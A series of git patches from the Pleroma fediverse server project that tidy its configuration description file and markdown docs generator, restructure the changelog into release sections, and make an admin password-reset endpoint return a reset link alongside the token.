@@ -2128,8 +2019,7 @@
%{
key: :enabled,
type: :boolean,
- description: "enables LDAP authentication",
- suggestions: [true, false]
+ description: "enables LDAP authentication"
},
%{
key: :host,
@@ -2146,8 +2036,7 @@
%{
key: :ssl,
type: :boolean,
- description: "true to use SSL, usually implies the port 636",
- suggestions: [true, false]
+ description: "true to use SSL, usually implies the port 636"
},
%{
key: :sslopts,
@@ -2158,8 +2047,7 @@
%{
key: :tls,
type: :boolean,
- description: "true to start TLS, usually implies the port 389",
- suggestions: [true, false]
+ description: "true to start TLS, usually implies the port 389"
},
%{
key: :tlsopts,
@@ -2237,8 +2125,7 @@
%{
key: :active,
type: :boolean,
- description: "globally enable or disable digest emails",
- suggestions: [true, false]
+ description: "globally enable or disable digest emails"
},
%{
key: :schedule,
@@ -2346,14 +2233,12 @@
key: :issue_new_refresh_token,
type: :boolean,
description:
- "Keeps old refresh token or generate new refresh token when to obtain an access token",
- suggestions: [true, false]
+ "Keeps old refresh token or generate new refresh token when to obtain an access token"
},
%{
key: :clean_expired_tokens,
type: :boolean,
- description: "Enable a background job to clean expired oauth tokens. Defaults to false",
- suggestions: [true, false]
+ description: "Enable a background job to clean expired oauth tokens. Defaults to false"
},
%{
key: :clean_expired_tokens_interval,
@@ -2415,8 +2300,7 @@
%{
key: :rum_enabled,
type: :boolean,
- description: "If RUM indexes should be used. Defaults to false",
- suggestions: [true, false]
+ description: "If RUM indexes should be used. Defaults to false"
}
]
},
@@ -2475,8 +2359,7 @@
%{
key: :enabled,
type: :boolean,
- description: "Enables ssh",
- suggestions: [true, false]
+ description: "Enables ssh"
},
%{
key: :priv_dir,
@@ -2579,8 +2462,7 @@
%{
key: :enabled,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
}
]
},
@@ -2593,8 +2475,7 @@
%{
key: :enabled,
type: :boolean,
- description: "Enables suggestions",
- suggestions: []
+ description: "Enables suggestions"
},
%{
key: :third_party_engine,
@@ -2686,8 +2567,7 @@
%{
key: :send_user_agent,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
},
%{
key: :adapter,
@@ -2715,26 +2595,22 @@
%{
key: :allow_inline_images,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
},
%{
key: :allow_headings,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
},
%{
key: :allow_tables,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
},
%{
key: :allow_fonts,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
},
%{
key: :scrub_policy,
@@ -2753,8 +2629,7 @@
%{
key: :deny_follow_blocked,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
}
]
},
@@ -2854,8 +2729,7 @@
%{
key: :credentials,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
},
%{
key: :headers,
From 7f211a48e0c443cbff90f028c5c92c496f66c62e Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 21:43:27 +0200
Subject: [PATCH 027/148] docs/markdown.ex: child header as "- key (type):
description"
---
lib/pleroma/docs/markdown.ex | 12 +++++++-----
1 file changed, 7 insertions(+), 5 deletions(-)
diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index 8386dc2fb..58a42b323 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -44,6 +44,13 @@ def process(descriptions) do
{:ok, config_path}
end
+ defp print_child_header(file, child) do
+ IO.write(
+ file,
+ "- `#{inspect(child[:key])}` (`#{inspect(child[:type])}`): #{child[:description]}\n"
+ )
+ end
+
defp print_suggestion(file, suggestion) when is_list(suggestion) do
IO.write(file, " `#{inspect(suggestion)}`\n")
end
@@ -70,9 +77,4 @@ defp print_suggestions(file, suggestions) do
print_suggestion(file, List.first(suggestions))
end
end
-
- defp print_child_header(file, child) do
- IO.write(file, "- `#{inspect(child[:key])}` -`#{inspect(child[:type])}` \n")
- IO.write(file, "#{child[:description]} \n")
- end
end
From e686f9be818ebddfba1aedcd9ae328d26147dca8 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Tue, 17 Sep 2019 20:04:57 +0000
Subject: [PATCH 028/148] Apply suggestion to CHANGELOG.md
---
CHANGELOG.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index f2d149304..58618b7f5 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -16,7 +16,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Remove `Reply-To` header from report emails for admins.
### Changed
-- **Breaking:** Now pleroma requires Elixir ~> 1.8 (it was ~> 1.7)
+- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
- **Breaking:** Configuration: A setting to explicitly disable the mailer was added, defaulting to true, if you are using a mailer add `config :pleroma, Pleroma.Emails.Mailer, enabled: true` to your config
- **Breaking:** Configuration: `/media/` is now removed when `base_url` is configured, append `/media/` to your `base_url` config to keep the old behaviour if desired
- **Breaking:** `/api/pleroma/notifications/read` is moved to `/api/v1/pleroma/notifications/read` and now supports `max_id` and responds with Mastodon API entities.
From f9dd121ad3f7e1de465f81c7a5fe4e4173d88e28 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Tue, 17 Sep 2019 23:09:08 +0300
Subject: [PATCH 029/148] Admin API: Return link alongside with token on
password reset
---
CHANGELOG.md | 1 +
lib/pleroma/web/admin_api/admin_api_controller.ex | 7 ++++++-
2 files changed, 7 insertions(+), 1 deletion(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 4eb72c002..0f4a171c2 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -32,6 +32,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
– Pagination: (optional) return `total` alongside with `items` when paginating
- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
+- Admin API: Return link alongside with token on password reset
### Fixed
- Following from Osada
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 544b9d7d8..03a73053b 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -432,9 +432,14 @@ def revoke_invite(conn, %{"token" => token}) do
def get_password_reset(conn, %{"nickname" => nickname}) do
(%User{local: true} = user) = User.get_cached_by_nickname(nickname)
{:ok, token} = Pleroma.PasswordResetToken.create_token(user)
+ host = Pleroma.Config.get([Pleroma.Web.Endpoint, :url, :host])
+ protocol = Pleroma.Config.get([Pleroma.Web.Endpoint, :protocol])
conn
- |> json(token.token)
+ |> json(%{
+ token: token.token,
+ link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token}"
+ })
end
def list_reports(conn, params) do
From bf8567996c6149e5a7857ccf74697184adb42be9 Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Tue, 17 Sep 2019 23:48:26 +0300
Subject: [PATCH 030/148] Sync develop changelog with master and create a new
section for post-1.1 changes
---
CHANGELOG.md | 92 +++++++++++++++++++++++++++++++++++-----------------
1 file changed, 62 insertions(+), 30 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 4426e3f70..1f0d55e9b 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,24 +4,25 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
## [Unreleased]
+### Changed
+- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
+- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
+- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
+- Admin API: Return `total` when querying for reports
+
+## [1.1.0] - 2019-??-??
### Security
-- OStatus: eliminate the possibility of a protocol downgrade attack.
-- OStatus: prevent following locked accounts, bypassing the approval process.
- Mastodon API: respect post privacy in `/api/v1/statuses/:id/{favourited,reblogged}_by`
### Removed
- **Breaking:** GNU Social API with Qvitter extensions support
-- **Breaking:** ActivityPub: The `accept_blocks` configuration setting.
- Emoji: Remove longfox emojis.
- Remove `Reply-To` header from report emails for admins.
### Changed
-- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
- **Breaking:** Configuration: A setting to explicitly disable the mailer was added, defaulting to true, if you are using a mailer add `config :pleroma, Pleroma.Emails.Mailer, enabled: true` to your config
- **Breaking:** Configuration: `/media/` is now removed when `base_url` is configured, append `/media/` to your `base_url` config to keep the old behaviour if desired
- **Breaking:** `/api/pleroma/notifications/read` is moved to `/api/v1/pleroma/notifications/read` and now supports `max_id` and responds with Mastodon API entities.
-- Configuration: OpenGraph and TwitterCard providers enabled by default
-- Configuration: Filter.AnonymizeFilename added ability to retain file extension with custom text
- Configuration: added `config/description.exs`, from which `docs/config.md` is generated
- Federation: Return 403 errors when trying to request pages from a user's follower/following collections if they have `hide_followers`/`hide_follows` set
- NodeInfo: Return `skipThreadContainment` in `metadata` for the `skip_thread_containment` option
@@ -31,24 +32,16 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- AdminAPI: Add "godmode" while fetching user statuses (i.e. admin can see private statuses)
- Improve digest email template
– Pagination: (optional) return `total` alongside with `items` when paginating
-- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
-- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
-- Admin API: Return `total` when querying for reports
### Fixed
- Following from Osada
-- Not being able to pin unlisted posts
-- Objects being re-embedded to activities after being updated (e.g faved/reposted). Running 'mix pleroma.database prune_objects' again is advised.
- Favorites timeline doing database-intensive queries
- Metadata rendering errors resulting in the entire page being inaccessible
- `federation_incoming_replies_max_depth` option being ignored in certain cases
-- Federation/MediaProxy not working with instances that have wrong certificate order
- Mastodon API: Handling of search timeouts (`/api/v1/search` and `/api/v2/search`)
- Mastodon API: Misskey's endless polls being unable to render
- Mastodon API: Embedded relationships not being properly rendered in the Account entity of Status entity
- Mastodon API: Notifications endpoint crashing if one notification failed to render
-- Mastodon API: follower/following counters not being nullified, when `hide_follows`/`hide_followers` is set
-- Mastodon API: `muted` in the Status entity, using author's account to determine if the tread was muted
- Mastodon API: Add `account_id`, `type`, `offset`, and `limit` to search API (`/api/v1/search` and `/api/v2/search`)
- Mastodon API, streaming: Fix filtering of notifications based on blocks/mutes/thread mutes
- ActivityPub C2S: follower/following collection pages being inaccessible even when authentifucated if `hide_followers`/ `hide_follows` was set
@@ -56,15 +49,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Rich Media: Parser failing when no TTL can be found by image TTL setters
- Rich Media: The crawled URL is now spliced into the rich media data.
- ActivityPub S2S: sharedInbox usage has been mostly aligned with the rules in the AP specification.
-- ActivityPub S2S: remote user deletions now work the same as local user deletions.
-- ActivityPub S2S: POST requests are now signed with `(request-target)` pseudo-header.
-- Not being able to access the Mastodon FE login page on private instances
-- Invalid SemVer version generation, when the current branch does not have commits ahead of tag/checked out on a tag
- Pleroma.Upload base_url was not automatically whitelisted by MediaProxy. Now your custom CDN or file hosting will be accessed directly as expected.
- Report email not being sent to admins when the reporter is a remote user
-- MRF: ensure that subdomain_match calls are case-insensitive
- Reverse Proxy limiting `max_body_length` was incorrectly defined and only checked `Content-Length` headers which may not be sufficient in some circumstances
-- MRF: fix use of unserializable keyword lists in describe() implementations
- ActivityPub: Deactivated user deletion
- ActivityPub: Fix `/users/:nickname/inbox` crashing without an authenticated user
- MRF: fix ability to follow a relay when AntiFollowbotPolicy was enabled
@@ -75,16 +62,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Mastodon API: all status JSON responses contain a `pleroma.expires_at` item which states when an activity will expire. The value is only shown to the user who created the activity. To everyone else it's empty.
- Configuration: `ActivityExpiration.enabled` controls whether expired activites will get deleted at the appropriate time. Enabled by default.
- Conversations: Add Pleroma-specific conversation endpoints and status posting extensions. Run the `bump_all_conversations` task again to create the necessary data.
-- **Breaking:** MRF describe API, which adds support for exposing configuration information about MRF policies to NodeInfo.
- Custom modules will need to be updated by adding, at the very least, `def describe, do: {:ok, %{}}` to the MRF policy modules.
- MRF: Support for priming the mediaproxy cache (`Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy`)
- MRF: Support for excluding specific domains from Transparency.
- MRF: Support for filtering posts based on who they mention (`Pleroma.Web.ActivityPub.MRF.MentionPolicy`)
-- MRF: Support for filtering posts based on ActivityStreams vocabulary (`Pleroma.Web.ActivityPub.MRF.VocabularyPolicy`)
-- MRF (Simple Policy): Support for wildcard domains.
-- Support for wildcard domains in user domain blocks setting.
-- Configuration: `quarantined_instances` support wildcard domains.
-- Configuration: `federation_incoming_replies_max_depth` option
- Mastodon API: Support for the [`tagged` filter](https://github.com/tootsuite/mastodon/pull/9755) in [`GET /api/v1/accounts/:id/statuses`](https://docs.joinmastodon.org/api/rest/accounts/#get-api-v1-accounts-id-statuses)
- Mastodon API, streaming: Add support for passing the token in the `Sec-WebSocket-Protocol` header
- Mastodon API, extension: Ability to reset avatar, profile banner, and background
@@ -112,9 +92,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Admin API: Endpoint for fetching latest user's statuses
- Pleroma API: Add `/api/v1/pleroma/accounts/confirmation_resend?email=` for resending account confirmation.
- Pleroma API: Email change endpoint.
-- Relays: Added a task to list relay subscriptions.
-- Mix Tasks: `mix pleroma.database fix_likes_collections`
-- Federation: Remove `likes` from objects.
- Admin API: Added moderation log
- Web response cache (currently, enabled for ActivityPub)
- Mastodon API: Added an endpoint to get multiple statuses by IDs (`GET /api/v1/statuses/?ids[]=1&ids[]=2`)
@@ -125,6 +102,61 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- RichMedia: parsers and their order are configured in `rich_media` config.
- RichMedia: add the rich media ttl based on image expiration time.
+## [1.0.6] - 2019-08-14
+### Fixed
+- MRF: fix use of unserializable keyword lists in describe() implementations
+- ActivityPub S2S: POST requests are now signed with `(request-target)` pseudo-header.
+
+## [1.0.5] - 2019-08-13
+### Fixed
+- Mastodon API: follower/following counters not being nullified, when `hide_follows`/`hide_followers` is set
+- Mastodon API: `muted` in the Status entity, using author's account to determine if the thread was muted
+- Mastodon API: return the actual profile URL in the Account entity's `url` property when appropriate
+- Templates: properly style anchor tags
+- Objects being re-embedded to activities after being updated (e.g faved/reposted). Running 'mix pleroma.database prune_objects' again is advised.
+- Not being able to access the Mastodon FE login page on private instances
+- MRF: ensure that subdomain_match calls are case-insensitive
+- Fix internal server error when using the healthcheck API.
+
+### Added
+- **Breaking:** MRF describe API, which adds support for exposing configuration information about MRF policies to NodeInfo.
+ Custom modules will need to be updated by adding, at the very least, `def describe, do: {:ok, %{}}` to the MRF policy modules.
+- Relays: Added a task to list relay subscriptions.
+- MRF: Support for filtering posts based on ActivityStreams vocabulary (`Pleroma.Web.ActivityPub.MRF.VocabularyPolicy`)
+- MRF (Simple Policy): Support for wildcard domains.
+- Support for wildcard domains in user domain blocks setting.
+- Configuration: `quarantined_instances` support wildcard domains.
+- Mix Tasks: `mix pleroma.database fix_likes_collections`
+- Configuration: `federation_incoming_replies_max_depth` option
+
+### Removed
+- Federation: Remove `likes` from objects.
+- ActivityPub: The `accept_blocks` configuration setting.
+
+## [1.0.4] - 2019-08-01
+### Fixed
+- Invalid SemVer version generation, when the current branch does not have commits ahead of tag/checked out on a tag
+
+## [1.0.3] - 2019-07-31
+### Security
+- OStatus: eliminate the possibility of a protocol downgrade attack.
+- OStatus: prevent following locked accounts, bypassing the approval process.
+- TwitterAPI: use CommonAPI to handle remote follows instead of OStatus.
+
+## [1.0.2] - 2019-07-28
+### Fixed
+- Not being able to pin unlisted posts
+- Mastodon API: represent poll IDs as strings
+- MediaProxy: fix matching filenames
+- MediaProxy: fix filename encoding
+- Migrations: fix a sporadic migration failure
+- Metadata rendering errors resulting in the entire page being inaccessible
+- Federation/MediaProxy not working with instances that have wrong certificate order
+- ActivityPub S2S: remote user deletions now work the same as local user deletions.
+
+### Changed
+- Configuration: OpenGraph and TwitterCard providers enabled by default
+- Configuration: Filter.AnonymizeFilename added ability to retain file extension with custom text
## [1.0.1] - 2019-07-14
### Security
From 50ec445b2c1e45b0d3b3a2016650f3262ed00e75 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 21:57:13 +0200
Subject: [PATCH 031/148] description.exs: remove empty strings and arrays
---
config/description.exs | 24 ++++++++----------------
1 file changed, 8 insertions(+), 16 deletions(-)
diff --git a/config/description.exs b/config/description.exs
index 5ae32d0f2..959d839bc 100644
--- a/config/description.exs
+++ b/config/description.exs
@@ -109,8 +109,7 @@
type: :string,
description:
"If you use S3 compatible service such as Digital Ocean Spaces or CDN, set folder name or \"\" etc." <>
- " For example, when using CDN to S3 virtual host format, set \"\". At this time, write CNAME to CDN in public_endpoint.",
- suggestions: [""]
+ " For example, when using CDN to S3 virtual host format, set \"\". At this time, write CNAME to CDN in public_endpoint."
}
]
},
@@ -360,22 +359,19 @@
group: {:subgroup, Swoosh.Adapters.SocketLabs},
key: :server_id,
type: :string,
- description: "`Swoosh.Adapters.SocketLabs` adapter specific setting",
- suggestions: [""]
+ description: "`Swoosh.Adapters.SocketLabs` adapter specific setting"
},
%{
group: {:subgroup, Swoosh.Adapters.SocketLabs},
key: :api_key,
type: :string,
- description: "`Swoosh.Adapters.SocketLabs` adapter specific setting",
- suggestions: [""]
+ description: "`Swoosh.Adapters.SocketLabs` adapter specific setting"
},
%{
group: {:subgroup, Swoosh.Adapters.Gmail},
key: :access_token,
type: :string,
- description: "`Swoosh.Adapters.Gmail` adapter specific setting",
- suggestions: [""]
+ description: "`Swoosh.Adapters.Gmail` adapter specific setting"
}
]
},
@@ -1682,8 +1678,7 @@
group: :pleroma_job_queue,
key: :queues,
type: :group,
- description: "[Deprecated] Replaced with `Oban`/`:queues` (keeping the same format)",
- children: []
+ description: "[Deprecated] Replaced with `Oban`/`:queues` (keeping the same format)"
},
%{
group: :pleroma,
@@ -1694,8 +1689,7 @@
%{
key: :max_retries,
type: :integer,
- description: "[Deprecated] Replaced as `Oban`/`:queues`/`:outgoing_federation` value",
- suggestions: []
+ description: "[Deprecated] Replaced as `Oban`/`:queues`/`:outgoing_federation` value"
}
]
},
@@ -2041,8 +2035,7 @@
%{
key: :sslopts,
type: :keyword,
- description: "additional SSL options",
- suggestions: []
+ description: "additional SSL options"
},
%{
key: :tls,
@@ -2052,8 +2045,7 @@
%{
key: :tlsopts,
type: :keyword,
- description: "additional TLS options",
- suggestions: []
+ description: "additional TLS options"
},
%{
key: :base,
From e0d8c8897e46d20039b4c0a383bca0192c5eb2ec Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 22:00:02 +0200
Subject: [PATCH 032/148] docs/markdown.ex: do no print empty suggestions
---
lib/pleroma/docs/markdown.ex | 2 ++
1 file changed, 2 insertions(+)
diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index 58a42b323..d7ca97957 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -66,6 +66,8 @@ defp print_suggestion(file, suggestion, as_list \\ false) do
defp print_suggestions(_file, nil), do: nil
+ defp print_suggestions(_file, ""), do: nil
+
defp print_suggestions(file, suggestions) do
IO.write(file, "Suggestions:\n")
From 106afaed58da3a25d1c4593e13192ad2145643e4 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 22:04:21 +0200
Subject: [PATCH 033/148] markdown.ex: do not fail if there is no children
---
lib/pleroma/docs/markdown.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index d7ca97957..20bd1c896 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -23,7 +23,7 @@ def process(descriptions) do
IO.write(file, "#{group[:description]}\n")
- for child <- group[:children] do
+ for child <- group[:children] || [] do
print_child_header(file, child)
print_suggestions(file, child[:suggestions])
From c0c56282007aff88a923bba4769af894cb6235af Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 22:14:56 +0200
Subject: [PATCH 034/148] description.exs: remove empty strings on descriptions
---
config/description.exs | 76 +++++-------------------------------
lib/pleroma/docs/markdown.ex | 8 +++-
2 files changed, 15 insertions(+), 69 deletions(-)
diff --git a/config/description.exs b/config/description.exs
index 959d839bc..821b76972 100644
--- a/config/description.exs
+++ b/config/description.exs
@@ -857,7 +857,6 @@
%{
key: :metadata,
type: {:list, :atom},
- description: "",
suggestions: [[:request_id]]
}
]
@@ -883,7 +882,6 @@
%{
key: :metadata,
type: {:list, :atom},
- description: "",
suggestions: [[:request_id]]
}
]
@@ -1177,7 +1175,6 @@
group: :pleroma,
key: :mrf_rejectnonpublic,
type: :group,
- description: "",
children: [
%{
key: :allow_followersonly,
@@ -1444,43 +1441,36 @@
%{
key: :instrumenters,
type: {:list, :module},
- description: "",
suggestions: [Pleroma.Web.Endpoint.Instrumenter]
},
%{
key: :protocol,
type: :string,
- description: "",
suggestions: ["https"]
},
%{
key: :secret_key_base,
type: :string,
- description: "",
suggestions: ["aK4Abxf29xU9TTDKre9coZPUgevcVCFQJe/5xP/7Lt4BEif6idBIbjupVbOrbKxl"]
},
%{
key: :signing_salt,
type: :string,
- description: "",
suggestions: ["CqaoopA2"]
},
%{
key: :render_errors,
type: :keyword,
- description: "",
suggestions: [[view: Pleroma.Web.ErrorView, accepts: ~w(json)]],
children: [
%{
key: :view,
type: :module,
- description: "",
suggestions: [Pleroma.Web.ErrorView]
},
%{
key: :accepts,
type: {:list, :string},
- description: "",
suggestions: ["json"]
}
]
@@ -1488,32 +1478,27 @@
%{
key: :pubsub,
type: :keyword,
- description: "",
suggestions: [[name: Pleroma.PubSub, adapter: Phoenix.PubSub.PG2]],
children: [
%{
key: :name,
type: :module,
- description: "",
suggestions: [Pleroma.PubSub]
},
%{
key: :adapter,
type: :module,
- description: "",
suggestions: [Phoenix.PubSub.PG2]
}
]
},
%{
key: :secure_cookie_flag,
- type: :boolean,
- description: ""
+ type: :boolean
},
%{
key: :extra_cookie_attrs,
type: {:list, :string},
- description: "",
suggestions: ["SameSite=Lax"]
}
]
@@ -1842,7 +1827,6 @@
group: :pleroma,
key: :rich_media,
type: :group,
- description: "",
children: [
%{
key: :enabled,
@@ -1995,7 +1979,6 @@
%{
key: Pleroma.Web.Auth.Authenticator,
type: :module,
- description: "",
suggestions: [Pleroma.Web.Auth.PleromaAuthenticator, Pleroma.Web.Auth.LDAPAuthenticator]
}
]
@@ -2172,37 +2155,31 @@
%{
key: :link_color,
type: :string,
- description: "",
suggestions: ["#d8a070"]
},
%{
key: :background_color,
type: :string,
- description: "",
suggestions: ["#2C3645"]
},
%{
key: :content_background_color,
type: :string,
- description: "",
suggestions: ["#1B2635"]
},
%{
key: :header_color,
type: :string,
- description: "",
suggestions: ["#d8a070"]
},
%{
key: :text_color,
type: :string,
- description: "",
suggestions: ["#b9b9ba"]
},
%{
key: :text_muted_color,
type: :string,
- description: "",
suggestions: ["#b9b9ba"]
}
]
@@ -2245,7 +2222,6 @@
group: :pleroma,
key: :emoji,
type: :group,
- description: "",
children: [
%{
key: :shortcode_globs,
@@ -2387,7 +2363,6 @@
%{
key: :types,
type: :map,
- description: "",
suggestions: [
%{
"application/xml" => ["xml"],
@@ -2401,31 +2376,26 @@
%{
key: "application/xml",
type: {:list, :string},
- description: "",
suggestions: [["xml"]]
},
%{
key: "application/xrd+xml",
type: {:list, :string},
- description: "",
suggestions: [["xrd+xml"]]
},
%{
key: "application/jrd+json",
type: {:list, :string},
- description: "",
suggestions: [["jrd+json"]]
},
%{
key: "application/activity+json",
type: {:list, :string},
- description: "",
suggestions: [["activity+json"]]
},
%{
key: "application/ld+json",
type: {:list, :string},
- description: "",
suggestions: [["activity+json"]]
}
]
@@ -2453,8 +2423,7 @@
children: [
%{
key: :enabled,
- type: :boolean,
- description: ""
+ type: :boolean
}
]
},
@@ -2462,7 +2431,6 @@
group: :pleroma,
key: :suggestions,
type: :group,
- description: "",
children: [
%{
key: :enabled,
@@ -2492,7 +2460,6 @@
%{
key: :web,
type: :string,
- description: "",
suggestions: ["https://vinayaka.distsn.org"]
}
]
@@ -2519,7 +2486,6 @@
%{
key: :adapter,
type: :module,
- description: "",
suggestions: [Pleroma.Signature]
}
]
@@ -2528,18 +2494,15 @@
group: :pleroma,
key: Pleroma.Uploaders.MDII,
type: :group,
- description: "",
children: [
%{
key: :cgi,
type: :string,
- description: "",
suggestions: ["https://mdii.sakura.ne.jp/mdii-post.cgi"]
},
%{
key: :files,
type: :string,
- description: "",
suggestions: ["https://mdii.sakura.ne.jp"]
}
]
@@ -2553,18 +2516,15 @@
%{
key: :proxy_url,
type: [:string, :atom, nil],
- description: "",
suggestions: ["localhost:9020", {:socks5, :localhost, 3090}, nil]
},
%{
key: :send_user_agent,
- type: :boolean,
- description: ""
+ type: :boolean
},
%{
key: :adapter,
type: :keyword,
- description: "",
suggestions: [
[
ssl_options: [
@@ -2582,32 +2542,26 @@
group: :pleroma,
key: :markup,
type: :group,
- description: "",
children: [
%{
key: :allow_inline_images,
- type: :boolean,
- description: ""
+ type: :boolean
},
%{
key: :allow_headings,
- type: :boolean,
- description: ""
+ type: :boolean
},
%{
key: :allow_tables,
- type: :boolean,
- description: ""
+ type: :boolean
},
%{
key: :allow_fonts,
- type: :boolean,
- description: ""
+ type: :boolean
},
%{
key: :scrub_policy,
type: {:list, :module},
- description: "",
suggestions: [[Pleroma.HTML.Transform.MediaProxy, Pleroma.HTML.Scrubber.Default]]
}
]
@@ -2616,12 +2570,10 @@
group: :pleroma,
key: :user,
type: :group,
- description: "",
children: [
%{
key: :deny_follow_blocked,
- type: :boolean,
- description: ""
+ type: :boolean
}
]
},
@@ -2629,12 +2581,10 @@
group: :pleroma,
key: :mrf_normalize_markup,
type: :group,
- description: "",
children: [
%{
key: :scrub_policy,
type: :module,
- description: "",
suggestions: [Pleroma.HTML.Scrubber.Default]
}
]
@@ -2643,12 +2593,10 @@
group: :pleroma,
key: Pleroma.User,
type: :group,
- description: "",
children: [
%{
key: :restricted_nicknames,
type: {:list, :string},
- description: "",
suggestions: [
[
".well-known",
@@ -2689,24 +2637,20 @@
%{
group: :cors_plug,
type: :group,
- description: "",
children: [
%{
key: :max_age,
type: :integer,
- description: "",
suggestions: [86_400]
},
%{
key: :methods,
type: {:list, :string},
- description: "",
suggestions: [["POST", "PUT", "DELETE", "GET", "PATCH", "OPTIONS"]]
},
%{
key: :expose,
type: :string,
- description: "",
suggestions: [
[
"Link",
@@ -2720,13 +2664,11 @@
},
%{
key: :credentials,
- type: :boolean,
- description: ""
+ type: :boolean
},
%{
key: :headers,
type: {:list, :string},
- description: "",
suggestions: [["Authorization", "Content-Type", "Idempotency-Key"]]
}
]
diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index 20bd1c896..739e4fce3 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -44,13 +44,17 @@ def process(descriptions) do
{:ok, config_path}
end
- defp print_child_header(file, child) do
+ defp print_child_header(file, %{key: key, type: type, description: description} = _child) do
IO.write(
file,
- "- `#{inspect(child[:key])}` (`#{inspect(child[:type])}`): #{child[:description]}\n"
+ "- `#{inspect(key)}` (`#{inspect(type)}`): #{description}\n"
)
end
+ defp print_child_header(file, %{key: key, type: type} = _child) do
+ IO.write(file, "- `#{inspect(key)}` (`#{inspect(type)}`)\n")
+ end
+
defp print_suggestion(file, suggestion) when is_list(suggestion) do
IO.write(file, " `#{inspect(suggestion)}`\n")
end
From 32d64102cb2f8cf3b0f825f2ac0770563cfb457f Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 22:19:30 +0200
Subject: [PATCH 035/148] description.exs: uncomment type for email logo
---
config/description.exs | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/config/description.exs b/config/description.exs
index 821b76972..65ea6bf01 100644
--- a/config/description.exs
+++ b/config/description.exs
@@ -2133,7 +2133,7 @@
children: [
%{
key: :logo,
- # type: [:string, nil],
+ type: [:string, nil],
description: "a path to a custom logo. Set it to nil to use the default Pleroma logo",
suggestions: ["some/path/logo.png", nil]
},
From d6182a3c8fef6377c20bb827a8e86bdac5bfb125 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 22:22:54 +0200
Subject: [PATCH 036/148] markdown.ex: Make suggestion(s) plural only if on >1
---
lib/pleroma/docs/markdown.ex | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
